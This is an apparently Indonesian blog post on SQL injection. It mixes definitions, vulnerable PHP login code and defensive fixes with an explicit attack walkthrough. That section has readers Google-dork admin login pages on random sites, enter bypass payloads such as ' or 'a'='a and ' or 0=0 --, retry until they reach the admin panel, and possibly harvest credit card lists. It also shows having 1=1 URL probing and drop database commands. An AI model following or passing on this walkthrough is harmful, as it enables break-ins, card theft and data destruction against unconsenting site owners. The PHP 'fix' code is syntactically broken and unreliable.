PENGERTIAN SQL INJECTION
Menurut Rosihan Ari Yuana
SQL injection
merupakan perbuatan orang yang memberikan perintah SQL untuk dijalankan di
mesin server SQL tanpa sepengetahuan Anda sebagai administrator. Proses
injection biasanya dilakukan orang ketika memasukkan input melalui form dengan
perintah atau kode tertentu.
Menurut
Muhammad Ilhamdi Rusydi
SQL injection
adalah teknik memanipulasi perintah SQL dengan memasukkan ke database server
sehingga dapat dimanfaatkan untuk mendapatkan informasi dan merubah database
yang telah ada.
Menurut Slamet Risnanto
SQL injection merupakan suatu teknik dengan menggunakan
perintah SQL yang memungkinkan cracker dapat masuk ke dalam suatu system yang terproteksi tanpa mengetahui
username dan password administrator terlebih dahulu.
Menurut
Deris Stiawan
SQL injection
adalah suatu metode yang digunakan untuk memanfaatkan kelemahan pada mesin
server SQL, misalnya server menjalankan layanan SQL (MySQL, PostgraseSQL, SQL
server dan lain-lain). Kemudian Craker mencoba memasukkan sesuatu script untuk
mencoba menampilkan halaman error di browser dan biasanya halaman error akan
menampilkan paling tidak struktur dari hierarki server SQL.
SEBAB
TERJADINYA
SQL injection
yang dapat diartikan sebagai suatu aksi hacking yang dilakukan di aplikasi
client dengan cara memodifikasi perintah SQL yang ada di memori aplikasi client
dapat terjadinya karena disebabkan oleh beberapa penyebab yatu :
- Tidak adanya penanganan terhadap karakter – karakter tanda petik satu dan juga karakter double minus yang menyebabkan suatu aplikasi dapat disisipi dengan perintah SQL.
- Sehingga seorang Hacker menyisipkan perintah SQL kedalam suatu parameter maupun suatu form.
KARAKTERISTIK
SQL injection yang merupakan jenis
serangan dari para hacker mempunyai beberapa karakteristik yaitu :
1. Teknik
serangan ini memungkinkan seseorang dapat login kedalam sistem tanpa harus
memiliki account.
2. Selain
itu SQL injection juga memungkinkan seseorang merubah, menghapus, maupun
menambahkan data–data yang berada didalam database. Bahkan yang lebih berbahaya
lagi yaitu mematikan database itu sendiri, sehingga tidak bisa memberi layanan
kepada web server
TOOLS PENDUKUNG
Untuk dapat melakukan aksi SQL injection, para hacker
membutuhkan beberapa tools yang akan mereka gunakan sebagai pendukung untuk
melakukan teknik penyerangan diantaranya adalah sebagai berikut :
1.
Internet
Exploler / Browser
2.
PC
yang terhubung internet
3.
Program
atau software seperti softice
CONTOH SINTAKS DALAM PHP
Adapun beberapa contoh sintaks agar
para hacker dapat melakukan penyerangan dengan menggunakan metode SQL injection
adalah sebagai berikut : - $SQL = “select * from login where username = ’$username’ and password = ‘$password’”; , {dari GET atau POST variable}
- Isikan password dengan string ’ or ’’ = ’
- Hasilnya maka SQL akan seperti ini = “select * from login where username = ’$username’ and password = ’pass’ or ‘ = ′ ”; , {dengan SQL ini hasil selection akan selalu TRUE }
- Dan hasilnya, para hacker bisa inject sintax SQL kedalam SQL
Contoh Gambar SQL Injection :
PENANGANAN
SQL INJECTION
1. MERUBAH
SCRIPT PHP
$query
= "select id,name,email,password,type,block from user " .
"where
email = '$Email' and password = '$Password'";
$hasil
= mySQL_query($query, $id_mySQL);
while($row
= mySQL_fetch_row($hasil))
{
$Id
= $row[0];
$name
= $row[1];
$email
= $row[2];
$password
= $row[3];
$type
= $row[4];
$block
= $row[5];
}
if(strcmp($block, 'yes') == 0)
{
echo
"<script>alert('Your account has been blocked);
document.location.href='index.php';</script>\n";
exit
( );
}
else if(!empty($Id) &&
!empty($name) && !empty($email) &&
!empty($password));
Script
diatas memungkinkan seseorang dapat login dengan menyisipkan perintah SQL
kedalam form login. Ketika
hacker menyisipkan karakter ’ or ’’ = ’ kedala form email dan password maka
akan terbentuk query sebagai berikut :
Maka dilakukan perubahan script menjadi
$query =
"select id,name,email,password,type,block from user".
"where
email = '$Email'";
$hasil =
mySQL_query($query, $id_mySQL);
while($row
= mySQL_fetch_row($hasil))
{
$Id
= $row[0];
$name
= $row[1];
$email
= $row[2];
$password
= $row[3];
$type
= $row[4];
$block
= $row[5];
}
if(strcmp($block,
'yes') == 0)
{
echo
"<script>alert('Your account has been blocked');
document.location.href='index.php';</script>\n";
exit
( );
}
$pass
= md5($Password);
else
if((strcmp($Email,$email) == 0) && strcmp($pass,$password) == 0));
2. MENGGUNAKAN
MYSQL_ESCAPE_STRING
Merubah string yang mengandung
karakter ‘ menjadi \’ misal SQL
injec’tion menjadi SQL injec\’tion
Contoh :
$kar = “SQL injec’tion”;
$filter
= mySQL_escape_string($kar);
echo
”Hasil filter : $filter”;
3. PEMFILTERAN
KARAKTER DENGAN MEMODIFIKASI PHP.INI
Modifikasi
dilakukan dengan mengenablekan variabel magic_quotes
pada php.ini sehingga menyebabkan string maupun karakter ‘ diubah
menjadi \’ secara otomatis oleh php.
Contoh :
Contoh
script yang membatasi karakter yang bisa masukkan :
good_password_chars ="abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ"
validatepassword = true for i = 1 to
len( input )
c = mid( input, i, 1 )
if ( InStr( good_password_chars, c ) =
0 ) then
validatepassword = false
exit function
end if
next
end function
MEMINIMALISASIKAN SQL INJECTION
1.
Warning atau Error pada query tidak perlu ditampilkan.
Lebih baik dibuat script yang akan langsung memfeedback log error/warning ke
developer/adminnya jika terjadi kesalahan query, sementara di end-user bisa ditampilkan,
misal error 404. Kalau Anda pernah / sering hosting di beberapa web hosting,
pastinya ada beberapa web hosting yang memberikan penamaan yang sama untuk direktori
usernya (shared hosting), misal /sompret/x2324/nama-domain (dimana sompret
selalu sama untuk setiap user dalam satu mesin, x2324 adalah username, dan
nama-domain adalah nama domain yang digunakan si x2324. Pesan warning dan error query yang
terjadi akibat script akan menampilkan path letak file tersebut. Akan
lebih parah lagi jika user memberi permission 777 ke dir / file.
2.
Developer hendaknya melakukan validasi terhadap URL dan
memfilter bentuk request yang menjurus terhadap tindakan injeksi.
3.
Jangan pernah dumping database ke
direktori yang tidak restrict permissionnya / publik. Dan lagi penamaan terhadap file
hasil dumping database diusahakan tidak umum
seperti pemberian tanggal-bulan-tahun (misal : 13071984.sql). Beberapa third party atau extension / module suatu CMS yang menggunakan konfigurasi default bisa
ditebak direktori dan nama filenya.
4.
Lakukaan
audit sendiri dengan berbagai macam tools yang ada.
5.
Jika dana tidak mencukupi maka tidak ada salahnya
konsultasi dengan pihak yang lebih pandai tentang SQL Injection.
LOKASI SQL INJECTION
Untuk
dapat melakukan SQL injection pada setiap target situs tidak harus melalui
inboxnya saja akan tetapi hacker bisa memasukan string-string SQL di URL situs
yang telah menjadi target sebelumnya.
Misalnya
ada sebuah situs www.target.com/moreinfo.cfm
dengan ProductID = 245 lalu hacker
mengetikkan string injeksi debuging SQL tadi ke address bar yang dituju
dibelakang url target itu, contohnya: www.target.com/moreinfo.cfm
dengan ProductID = 245' having 1 = 1 dan juga hacker dapat menghapus nilai
produk dari URL tersebut dan menggantinya dengan debugging code, sebagai
contoh: www.target.com/moreinfo
ProductID = 'having 1=1—
Setelah
itu akan keluar sebuah error page dari situs itu yang memberi informasi tentang
struktur database situs itu. Dari hasil informasi yang telah didapat ini,
hacker dapat melakukan serangan berikutnya. Apabila browser kita adalah Internet Explorer, ada
sebagian situs yang tidak menampilkan error-nya, ini dikarenakan opsi Show
Friendly HTTP Error Messages diaktifkan.
Untuk itu hacker perlu
menonaktifkannya dengan cara menghilangkan tanda centang di kotaknya. Opsi ini
dapat anda temukan di Tools > Internet Option > Advanced cari opsinya di
bagian Browsing lalu hilangkan tanda centangnya dan klik tombol Apply. Sesudah
itu apabila anda menemui error page yang berisi HTTP 500 error - internal server
error- sebelum men-set opsi tadi, anda cukup menekan tombol Refresh, lalu
terlihatlah sudah error-nya. Setelah kita tahu struktur database-nya, dengan
pengetahuan dasar dari belajar SQL kita dapat menghancurkan database itu dengan
perintah ' drop database [nama_database] atau drop table [nama_table].
IMPLEMENTASI SQL
INJECTION
1.
Masuk ke
google atau browse yg lain
2.
Masukkan
salah satu keyword berikut
"/admin.asp"
"/login.asp"
"/logon.asp"
"/adminlogin.asp"
"/adminlogon.asp"
"/admin_login.asp"
"/admin_logon.asp"
"/admin/admin.asp"
"/admin/login.asp"
"/admin/logon.asp"
{anda bisa menambahi sendiri sesuai keinginan anda}
"/login.asp"
"/logon.asp"
"/adminlogin.asp"
"/adminlogon.asp"
"/admin_login.asp"
"/admin_logon.asp"
"/admin/admin.asp"
"/admin/login.asp"
"/admin/logon.asp"
{anda bisa menambahi sendiri sesuai keinginan anda}
3.
Bukalah
salah satu link yang ditemukan oleh google, kemungkinan Anda akan menjumpai
sebuah halaman login (user name danpassword).
4.
Masukkan
kode berikut :
User name : ` or `a'='a
Password : ` or `a'='a (termasuk tanda
petiknya)
5.
Jika
berhasil, kemungkinan Anda akan masuk ke admin panel, di mana Anda bisa
menambahkan berita, mengedit user yang lain, merubah about,
dan lain-lain. Jika beruntung Anda bisa mendapatkan daftar kredit card yang banyak.
dan lain-lain. Jika beruntung Anda bisa mendapatkan daftar kredit card yang banyak.
6.
Jika tidak berhasil, cobalah mencari link yang lain yang
ditemukan oleh google.
7.
Banyak variasi kode yang mungkin, antara lain :
User name : admin
Password : ` or `a'='a
atau bisa dimasukkan ke dua–duanya
misal :
‘ or 0=0 -- ; “ or
0=0 -- ; or 0=0 -- ; ‘ or 0=0 # ;
“ or 0=0 # ;
‘ or’x’=’x ; “ or “x”=”x ; ‘)
or (‘x’=’x
8.
Cobalah sampai berhasil hingga anda bisa masuk ke admin
panel.
1.
Membatasi panjang dari suatu input box (jika
memungkinkan), dengan
cara membatasinya di kode program, jadi si hacker pemula akan bingung sejenak melihat input box nya gak bisa diinject dengan perintah yang panjang.
cara membatasinya di kode program, jadi si hacker pemula akan bingung sejenak melihat input box nya gak bisa diinject dengan perintah yang panjang.
2. Memfilterisasi input yang dimasukkan oleh user, terutama
penggunaan tanda kutip tunggal (Input Validation).
3.
Mematikan atau sembunyikan pesan-pesan error yang keluar
dari SQL Server yang berjalan.
4. Mematikan fasilitas-fasilitas standar seperti Stored
Procedures, Extended Stored Procedures jika memungkinkan.
5.
Mengubah
"Startup and run SQL Server" menggunakan low privilege user di SQL
Server Security tab.
sumber : Freddy Syahrul AP_08053111074.doc
sumber : Freddy Syahrul AP_08053111074.doc
Tidak ada komentar:
Posting Komentar